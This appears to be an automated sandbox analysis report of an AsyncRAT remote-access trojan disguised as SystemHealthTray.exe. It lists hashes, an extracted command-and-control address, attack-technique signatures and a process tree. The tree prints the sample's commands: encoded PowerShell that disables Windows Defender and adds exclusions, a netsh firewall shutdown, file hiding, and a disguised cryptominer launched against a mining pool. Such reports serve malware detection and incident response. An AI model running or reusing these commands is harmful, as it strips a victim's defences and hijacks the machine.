asyncrat | 2efaa98a4d928cc5ef26dbf8dc1506f763a7028ef0a7278588aa2dfea81e300a

Analysis

max time kernel
149s
max time network
139s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/10/2026, 07:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SystemHealthTray.exe
Size 7.2MB
Sample261027-jnellact5l
SHA256 2efaa98a4d928cc5ef26dbf8dc1506f763a7028ef0a7278588aa2dfea81e300a
MD5 4fc62a595ca474abdb7dda97d49fac8f
SHA1 4363fb354424c1197523ab49f4831f22816b3887
SHA512 c5d17dcd3c3031ee77263edfe22015ab2d7c83aa7b5ba34da62d2a8d17c3639a53fa0777fc228eb114b0b34f57906de000d19f7808809b2f8b16afce27286e8f
SSDEEP 196608:XINBEbuXV7ICteEroXxjczlxZV3Gu5D4S26/CS3z/hdE5vNLoLPKA:aBE2InEroXe14S26T/XE5Bf
TLSH
T167763344B3E81CFED9BB847AC428D829D1F2B4204394D59F27AC851B4E6B6E07D7AF44
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

default defense_evasion discovery execution asyncrat persistence privilege_escalation rat vmprotect

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

tochka90-36200.portmap.host:36200

Mutex

DcRatMutex_qwqdanchun

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x000300000001a331-222.dat	family_asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 15 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3416	powershell.exe
1300	powershell.exe
5044	powershell.exe
5132	powershell.exe
1160	powershell.exe
3552	powershell.exe
4312	powershell.exe
2044	powershell.exe
2724	powershell.exe
3056	powershell.exe
2032	powershell.exe
980	powershell.exe
5456	powershell.exe
1276	powershell.exe
4764	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4520	netsh.exe

Executes dropped EXE 1 IoCs

pid	Process
4252	spool64.exe

Loads dropped DLL 17 IoCs

pid	Process
6036	SystemHealthTray.exe
6036	SystemHealthTray.exe
6036	SystemHealthTray.exe
6036	SystemHealthTray.exe
6036	SystemHealthTray.exe
6036	SystemHealthTray.exe
6036	SystemHealthTray.exe
6036	SystemHealthTray.exe
6036	SystemHealthTray.exe
6036	SystemHealthTray.exe
6036	SystemHealthTray.exe
6036	SystemHealthTray.exe
6036	SystemHealthTray.exe
6036	SystemHealthTray.exe
6036	SystemHealthTray.exe
6036	SystemHealthTray.exe
6036	SystemHealthTray.exe

VMProtect packed file 7 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral2/memory/5872-246-0x0000000140000000-0x00000001419BB000-memory.dmp	vmprotect
behavioral2/memory/3672-252-0x0000000140000000-0x00000001419BB000-memory.dmp	vmprotect
behavioral2/memory/3244-281-0x0000000140000000-0x00000001419BB000-memory.dmp	vmprotect
behavioral2/memory/5292-307-0x0000000140000000-0x00000001419BB000-memory.dmp	vmprotect
behavioral2/memory/2792-334-0x0000000140000000-0x00000001419BB000-memory.dmp	vmprotect
behavioral2/memory/2660-358-0x0000000140000000-0x00000001419BB000-memory.dmp	vmprotect
behavioral2/memory/4148-382-0x0000000140000000-0x00000001419BB000-memory.dmp	vmprotect

Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
9	pastebin.com
11	pastebin.com
14	pastebin.com
3	pastebin.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\spool64.exe	SystemHealthTray.exe
File opened for modification	C:\windows\spool64.exe	attrib.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1772	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	SystemHealthTray.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	SystemHealthTray.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4440	powershell.exe
4440	powershell.exe
1276	powershell.exe
1276	powershell.exe
3608	powershell.exe
3608	powershell.exe
4312	powershell.exe
4312	powershell.exe
1556	powershell.exe
1556	powershell.exe
3416	powershell.exe
3416	powershell.exe
1764	powershell.exe
1764	powershell.exe
1300	powershell.exe
1300	powershell.exe
1300	powershell.exe
6024	powershell.exe
6024	powershell.exe
2044	powershell.exe
2044	powershell.exe
2044	powershell.exe
4752	powershell.exe
4752	powershell.exe
5044	powershell.exe
5044	powershell.exe
5044	powershell.exe
5040	powershell.exe
5040	powershell.exe
2724	powershell.exe
2724	powershell.exe
2724	powershell.exe
428	powershell.exe
428	powershell.exe
3056	powershell.exe
3056	powershell.exe
4936	powershell.exe
4936	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
4992	powershell.exe
4992	powershell.exe
5132	powershell.exe
5132	powershell.exe
5132	powershell.exe
4312	powershell.exe
4312	powershell.exe
980	powershell.exe
980	powershell.exe
980	powershell.exe
2768	powershell.exe
2768	powershell.exe
1160	powershell.exe
1160	powershell.exe
1160	powershell.exe
4820	powershell.exe
4820	powershell.exe
3552	powershell.exe
3552	powershell.exe
3552	powershell.exe
2296	powershell.exe
2296	powershell.exe
2296	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	6036	SystemHealthTray.exe
Token: SeDebugPrivilege	4440	powershell.exe
Token: SeDebugPrivilege	1276	powershell.exe
Token: SeIncreaseQuotaPrivilege	1276	powershell.exe
Token: SeSecurityPrivilege	1276	powershell.exe
Token: SeTakeOwnershipPrivilege	1276	powershell.exe
Token: SeLoadDriverPrivilege	1276	powershell.exe
Token: SeSystemProfilePrivilege	1276	powershell.exe
Token: SeSystemtimePrivilege	1276	powershell.exe
Token: SeProfSingleProcessPrivilege	1276	powershell.exe
Token: SeIncBasePriorityPrivilege	1276	powershell.exe
Token: SeCreatePagefilePrivilege	1276	powershell.exe
Token: SeBackupPrivilege	1276	powershell.exe
Token: SeRestorePrivilege	1276	powershell.exe
Token: SeShutdownPrivilege	1276	powershell.exe
Token: SeDebugPrivilege	1276	powershell.exe
Token: SeSystemEnvironmentPrivilege	1276	powershell.exe
Token: SeRemoteShutdownPrivilege	1276	powershell.exe
Token: SeUndockPrivilege	1276	powershell.exe
Token: SeManageVolumePrivilege	1276	powershell.exe
Token: 33	1276	powershell.exe
Token: 34	1276	powershell.exe
Token: 35	1276	powershell.exe
Token: 36	1276	powershell.exe
Token: SeDebugPrivilege	3608	powershell.exe
Token: SeDebugPrivilege	4312	powershell.exe
Token: SeIncreaseQuotaPrivilege	4312	powershell.exe
Token: SeSecurityPrivilege	4312	powershell.exe
Token: SeTakeOwnershipPrivilege	4312	powershell.exe
Token: SeLoadDriverPrivilege	4312	powershell.exe
Token: SeSystemProfilePrivilege	4312	powershell.exe
Token: SeSystemtimePrivilege	4312	powershell.exe
Token: SeProfSingleProcessPrivilege	4312	powershell.exe
Token: SeIncBasePriorityPrivilege	4312	powershell.exe
Token: SeCreatePagefilePrivilege	4312	powershell.exe
Token: SeBackupPrivilege	4312	powershell.exe
Token: SeRestorePrivilege	4312	powershell.exe
Token: SeShutdownPrivilege	4312	powershell.exe
Token: SeDebugPrivilege	4312	powershell.exe
Token: SeSystemEnvironmentPrivilege	4312	powershell.exe
Token: SeRemoteShutdownPrivilege	4312	powershell.exe
Token: SeUndockPrivilege	4312	powershell.exe
Token: SeManageVolumePrivilege	4312	powershell.exe
Token: 33	4312	powershell.exe
Token: 34	4312	powershell.exe
Token: 35	4312	powershell.exe
Token: 36	4312	powershell.exe
Token: SeDebugPrivilege	1556	powershell.exe
Token: SeDebugPrivilege	3416	powershell.exe
Token: SeIncreaseQuotaPrivilege	3416	powershell.exe
Token: SeSecurityPrivilege	3416	powershell.exe
Token: SeTakeOwnershipPrivilege	3416	powershell.exe
Token: SeLoadDriverPrivilege	3416	powershell.exe
Token: SeSystemProfilePrivilege	3416	powershell.exe
Token: SeSystemtimePrivilege	3416	powershell.exe
Token: SeProfSingleProcessPrivilege	3416	powershell.exe
Token: SeIncBasePriorityPrivilege	3416	powershell.exe
Token: SeCreatePagefilePrivilege	3416	powershell.exe
Token: SeBackupPrivilege	3416	powershell.exe
Token: SeRestorePrivilege	3416	powershell.exe
Token: SeShutdownPrivilege	3416	powershell.exe
Token: SeDebugPrivilege	3416	powershell.exe
Token: SeSystemEnvironmentPrivilege	3416	powershell.exe
Token: SeRemoteShutdownPrivilege	3416	powershell.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 1948 wrote to memory of 6036	1948	SystemHealthTray.exe	90
PID 6036 wrote to memory of 4440	6036	SystemHealthTray.exe	91
PID 4440 wrote to memory of 1276	4440	powershell.exe	93
PID 6036 wrote to memory of 3608	6036	SystemHealthTray.exe	95
PID 3608 wrote to memory of 4312	3608	powershell.exe	97
PID 6036 wrote to memory of 1556	6036	SystemHealthTray.exe	98
PID 1556 wrote to memory of 3416	1556	powershell.exe	100
PID 6036 wrote to memory of 1764	6036	SystemHealthTray.exe	101
PID 1764 wrote to memory of 1300	1764	powershell.exe	103
PID 6036 wrote to memory of 6024	6036	SystemHealthTray.exe	104
PID 6024 wrote to memory of 2044	6024	powershell.exe	106
PID 6036 wrote to memory of 4752	6036	SystemHealthTray.exe	107
PID 4752 wrote to memory of 5044	4752	powershell.exe	109
PID 6036 wrote to memory of 5040	6036	SystemHealthTray.exe	110
PID 5040 wrote to memory of 2724	5040	powershell.exe	112
PID 6036 wrote to memory of 428	6036	SystemHealthTray.exe	113
PID 428 wrote to memory of 3056	428	powershell.exe	115
PID 6036 wrote to memory of 4936	6036	SystemHealthTray.exe	116
PID 4936 wrote to memory of 2032	4936	powershell.exe	118
PID 6036 wrote to memory of 4992	6036	SystemHealthTray.exe	119
PID 4992 wrote to memory of 5132	4992	powershell.exe	121
PID 6036 wrote to memory of 4312	6036	SystemHealthTray.exe	122
PID 4312 wrote to memory of 980	4312	powershell.exe	124
PID 6036 wrote to memory of 2768	6036	SystemHealthTray.exe	125
PID 2768 wrote to memory of 1160	2768	powershell.exe	127
PID 6036 wrote to memory of 4820	6036	SystemHealthTray.exe	128
PID 4820 wrote to memory of 3552	4820	powershell.exe	130
PID 3552 wrote to memory of 4520	3552	powershell.exe	131
PID 6036 wrote to memory of 2296	6036	SystemHealthTray.exe	133
PID 2296 wrote to memory of 5456	2296	powershell.exe	135
PID 6036 wrote to memory of 4712	6036	SystemHealthTray.exe	136
PID 4712 wrote to memory of 4764	4712	powershell.exe	138
PID 6036 wrote to memory of 4252	6036	SystemHealthTray.exe	140
PID 6036 wrote to memory of 1152	6036	SystemHealthTray.exe	141

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1152	attrib.exe

C:\Users\Admin\AppData\Local\Temp\SystemHealthTray.exe
"C:\Users\Admin\AppData\Local\Temp\SystemHealthTray.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1948
- C:\Users\Admin\AppData\Local\Temp\SystemHealthTray.exe
  "C:\Users\Admin\AppData\Local\Temp\SystemHealthTray.exe"
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:6036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnACAALgBlAHgAZQAgACwAIAAuAGIAaQBuACwAIAAuAGQAbwBjAG0ALAAgAC4AZABsAGwAIAAsACAALgB0AHgAdAAsACAALgB6AGkAcAAgACwAIAAuAHIAYQByACAAJwAgAA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4440
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension " .exe , .bin, .docm, .dll , .txt, .zip , .rar "
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1276
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQBuAGEAYgBsAGUAQwBvAG4AdAByAG8AbABsAGUAZABGAG8AbABkAGUAcgBBAGMAYwBlAHMAcwAgAEQAaQBzAGEAYgBsAGUAZAA=
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3608
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4312
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUABVAEEAUAByAG8AdABlAGMAdABpAG8AbgAgAGQAaQBzAGEAYgBsAGUA
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1556
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -PUAProtection disable
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3416
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgADEA
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1764
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring 1
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1300
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAAMQA=
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:6024
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen 1
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAxAA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4752
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection 1
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBQAHIAaQB2AGEAYwB5AE0AbwBkAGUAIAAxAA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:5040
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode 1
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2724
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAG4AdAByAHUAcwBpAG8AbgBQAHIAZQB2AGUAbgB0AGkAbwBuAFMAeQBzAHQAZQBtACAAMQA=
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:428
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem 1
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3056
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBTAGMAcgBpAHAAdABTAGMAYQBuAG4AaQBuAGcAIAAxAA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4936
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning 1
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBBAFAAUwBSAGUAcABvAHIAdABpAG4AZwAgADAA
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4992
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5132
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBlAHYAZQByAGUAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYA
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4312
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:980
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgADAA
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2768
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring 0
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1160
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAbgBlAHQAcwBoACAAYQBkAHYAZgBpAHIAZQB3AGEAbABsACAAcwBlAHQAIABhAGwAbABwAHIAbwBmAGkAbABlAHMAIABzAHQAYQB0AGUAIABvAGYAZgA=
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4820
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" netsh advfirewall set allprofiles state off
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3552
    - - C:\Windows\system32\netsh.exe
        
        "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:4520
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgADEA
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2296
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring 1
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5456
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcACcA
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4712
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4764
- - C:\Windows\spool64.exe
    "C:\Windows\spool64.exe"
    3⤵
    - Executes dropped EXE
    PID:4252
- - C:\Windows\SYSTEM32\attrib.exe
    attrib +H spool64.exe
    3⤵
    - Drops file in Windows directory
    - Views/modifies file attributes
    PID:1152
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:5744
- - C:\Windows\SystemHealthTray.exe
    "C:\Windows\SystemHealthTray.exe"
    3⤵
    PID:1768
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\A327.tmp\A328.tmp\A329.bat C:\Windows\SystemHealthTray.exe"
      4⤵
      Executes a command shell one-liner
      PID:1772
    - - C:\Windows\SysMonX86_64.exe
        
        SysMonX86_64.exe -i 96 -a kawpow -o stratum+tcp://rvn.2miners.com:6060 -u rL57cQgzjfC8FRYs4XT3cfKCUmztEXMLWs.xxx --fee 0
        5⤵
        
        PID:5872
      - C:\Windows\SysMonX86_64.exe
        
        SysMonX86_64.exe -i 96 -a kawpow -o stratum+tcp://rvn.2miners.com:6060 -u rL57cQgzjfC8FRYs4XT3cfKCUmztEXMLWs.xxx --fee 0 -RUN -reboot-times 0
        6⤵
        
        PID:3672
      - C:\Windows\SysMonX86_64.exe
        
        SysMonX86_64.exe -i 96 -a kawpow -o stratum+tcp://rvn.2miners.com:6060 -u rL57cQgzjfC8FRYs4XT3cfKCUmztEXMLWs.xxx --fee 0 -RUN -reboot-times 1
        6⤵
        
        PID:3244
      - C:\Windows\SysMonX86_64.exe
        
        SysMonX86_64.exe -i 96 -a kawpow -o stratum+tcp://rvn.2miners.com:6060 -u rL57cQgzjfC8FRYs4XT3cfKCUmztEXMLWs.xxx --fee 0 -RUN -reboot-times 2
        6⤵
        
        PID:5292
      - C:\Windows\SysMonX86_64.exe
        
        SysMonX86_64.exe -i 96 -a kawpow -o stratum+tcp://rvn.2miners.com:6060 -u rL57cQgzjfC8FRYs4XT3cfKCUmztEXMLWs.xxx --fee 0 -RUN -reboot-times 3
        6⤵
        
        PID:2792
      - C:\Windows\SysMonX86_64.exe
        
        SysMonX86_64.exe -i 96 -a kawpow -o stratum+tcp://rvn.2miners.com:6060 -u rL57cQgzjfC8FRYs4XT3cfKCUmztEXMLWs.xxx --fee 0 -RUN -reboot-times 4
        6⤵
        
        PID:2660
      - C:\Windows\SysMonX86_64.exe
        
        SysMonX86_64.exe -i 96 -a kawpow -o stratum+tcp://rvn.2miners.com:6060 -u rL57cQgzjfC8FRYs4XT3cfKCUmztEXMLWs.xxx --fee 0 -RUN -reboot-times 5
        6⤵
        
        PID:4148
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:6120
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:2868
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
